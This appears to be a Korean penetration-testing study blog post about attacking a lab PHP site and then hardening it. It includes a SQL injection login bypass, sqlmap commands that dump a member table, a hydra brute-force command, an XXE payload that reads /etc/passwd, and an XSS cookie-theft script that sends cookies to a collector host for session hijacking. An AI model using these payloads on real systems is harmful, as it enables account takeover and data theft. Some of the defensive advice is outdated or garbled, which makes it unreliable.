[SQL injection]
이 문장에 취약점을 이용해 로그인을 성공할 수 있다.
$id 안에 값을
1' or '1' ='1로 변경하면
위의 문장과 같이 무조건 참이 되므로 로그인이 된다.
(DB의 첫번째 계정으로 로그인이 된다.)
대처법
가장 큰 핵심은 입력값 검증이다.
/var/www/html/member/login_ok.php
1. replace 문법을 통해 '를 치환해주는 방법.
2.
php.ini에서 설정변경 가능
magic_quotes_gpc = On 으로 설정을 변경 후,
특수문자들을 이스케이프로 전환해주는 함수이다.
magic_quotes_gpc 를 off로 하고 실행하고 싶으면
$id=addslashes($id);
$id=addslashes($pw); 로 적어주면 된다.
3.
블랙리스트 기법
sqlmap 툴
/usr/share/sqlmap 위치에서
./sqlmap.py -u "게시판을 누른 url"
./sqlmap.py --flush-session -u "http://192.168.3.115/center/view.php?num=13" --dbms "MySQL" --dbs
databases의 이름을 알아낸다.
./sqlmap.py --flush-session -u "http://192.168.3.115/center/view.php?num=13" --dbms "MySQL" -D sample --tables
sample의 테이블을 볼 수 있다.
./sqlmap.py -u "http://192.168.22.18/center/view.php?num=8" --dbms "MySQL" -D sample -T member --columns
member 테이블의 columns를 확인할 수 있다.
./sqlmap.py --flush-session -u "http://192.168.3.115/center/view.php?num=13" --dbms "MySQL" -D sample -T member --dump
툴 방지 역시, 이스케이프를 처리해주는 함수를 사용하면 방어할 수 있다.
[패스워드 크랙 대응]
임계값을 설정하여 임계값을 넘었을 시, 계정이 잠기도록 설정
1.atime , count ,flag값을 받기 위해 0,0,0을 추가
/var/www/html/member/member_ok.php
2.임계값을 10으로 설정하여 10번보다 넘게 접근 시, 잠기도록 설정.
/var/www/html/member/login_ok.php
3. 패스워드 크랙 툴 사용.
hydra -l user01 192.168.3.115 http-post-form "/member/login_ok.php:id=^USER^&pw=^PASS^:history" -x 4:4:1 -V -f
4. 확인
[XML(XXE)]
xml의 취약점을 이용해 패스워드 출력
/var/www/html/center/insert.php
게시글 수정을 통해 아래 코드를 입력.
<!DOCTYPE care[<!ENTITY data SYSTEM "file:///etc/passwd">]>
<result>&data;</result>
/etc/passwd의 목록을 출력하게 된다.
[XSS]
1. /var/www/html/getcookie.php 파일 생성
<?php
$fp = fopen("data.txt", "ab");
$text = "Cookie : ". $_GET['cookie'] . "\n";
fwrite($fp, $text);
fclose($fp);
?>
2. data.txt 파일 생성
touch data.txt
chmod 777 data.txt
3. url에 http://192.168.111.65/getcookie.php?cookie=asd 입력
4.data.txt에 값이 들어가져있는지 확인
5. 취약한 홈페이지에 들어가서 xss 게시글을 업로드.
<img name="i" width=0 height=0>
<script>i.src="http://192.168.3.125/getcookie.php?cookie="+document.cookie</script>
이 게시글을 읽으면 그 아이디에 세션쿠키값을 가져오게 된다.
6.burp suite를 통해 세션 탈취
얻어온 세션쿠키값을 Match and replace에 추가
^Cookie.*$
Cookie:PHPSESSID=세션ID
공격대상자가 게시글을 읽게되면 자동으로 로그인이 된다.
[대응법]
특수문자를 필터링을 하여 변환해주는 방법이다.
/var/www/html/center/insert.php
$content = str_replace("<", "<", $content);
$content = str_replace(">", ">", $content);
$content = str_replace("&", "&", $content);
악성스크립트를 게시글에 올렸을 시, 필터링되어 아래와같이 뜬다.
[관리자 페이지 접근통제]
/var/www/html/admin.php
관리자만 접속가능하도록 접근통제 설정.
<?php
include "dbconn.php";
session_start();
$sql = "select * from member";
$result = mysqli_query($conn, $sql);
$count = mysqli_num_rows($result);
/*관리자 접근 가능*/
$check = mysqli_fetch_array($result);
if($_SESSION['id'] != $check['id'])
{
echo "<script>location.href='/index.php';</script>";
exit;
}
/*관리자 접근 가능*/
?>
<html>
<body>
<table>
<tr>
<th>num</th>
<th>id</th>
<th>pw</th>
<th>name</th>
<th>mobile</th>
<th>email</th>
<th>nick</th>
<th>address</th>
<th>date</th>
<th>count</th>
<th>flag</th>
</tr>
<?php
for($i = 0; $i < $count; $i++)
{
mysqli_data_seek($result, $i);
$row = mysqli_fetch_array($result);
?>
<tr>
<td><?=$row['num']?></td>
<td><?=$row['id']?></td>
<td><?=$row['pw']?></td>
<td><?=$row['name']?></td>
<td><?=$row['mobile']?></td>
<td><?=$row['email']?></td>
<td><?=$row['nick']?></td>
<td><?=$row['address']?></td>
<td><?=$row['date']?></td>
<td><?=$row['count']?></td>
<td><?=$row['flag']?></td>
</tr>
<?php
}
?>
</table>
</body>
</html>
<?php mysqli_close($conn);?>
[파일 및 디렉터리 접근]
디렉터리에 있는 내용들이 다 보인다.
또한 , 서버의 버전과 ip등이 출력이 된다.
1. 버전 정보 숨기기.
/etc/httpd/conf/httpd.conf
ServerSignature 를 off로 변경.
버전 정보가 사라진 것을 확인.
2. 프록시를 통해 확인할 때 응답정보에 있는 버전 숨기기
ServerTokens 를 PROD로 변경.
3. 디렉터리인덱싱이 안되도록 Indexes 삭제.
Options Indexes FollowSymLinks부분에서 Indexes부분 삭제
4. 디렉터리위치를 입력하거나, 없는 디렉터리를 입력했을 시 아래와 같이 뜨게 함.
/var/www/error/error.php 에 아래코드 추가
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
/etc/httpd/conf/httpd.conf
5. 프록시에서 응답정보에 있는 php버전을 삭제.
/etc/php.ini에서 expose_php를 off로 변경.
'모의해킹' 카테고리의 다른 글
BOF (0) | 2019.07.04 |
---|---|
취약한 홈페이지 구축 (0) | 2019.06.18 |
apm구축 (0) | 2019.06.18 |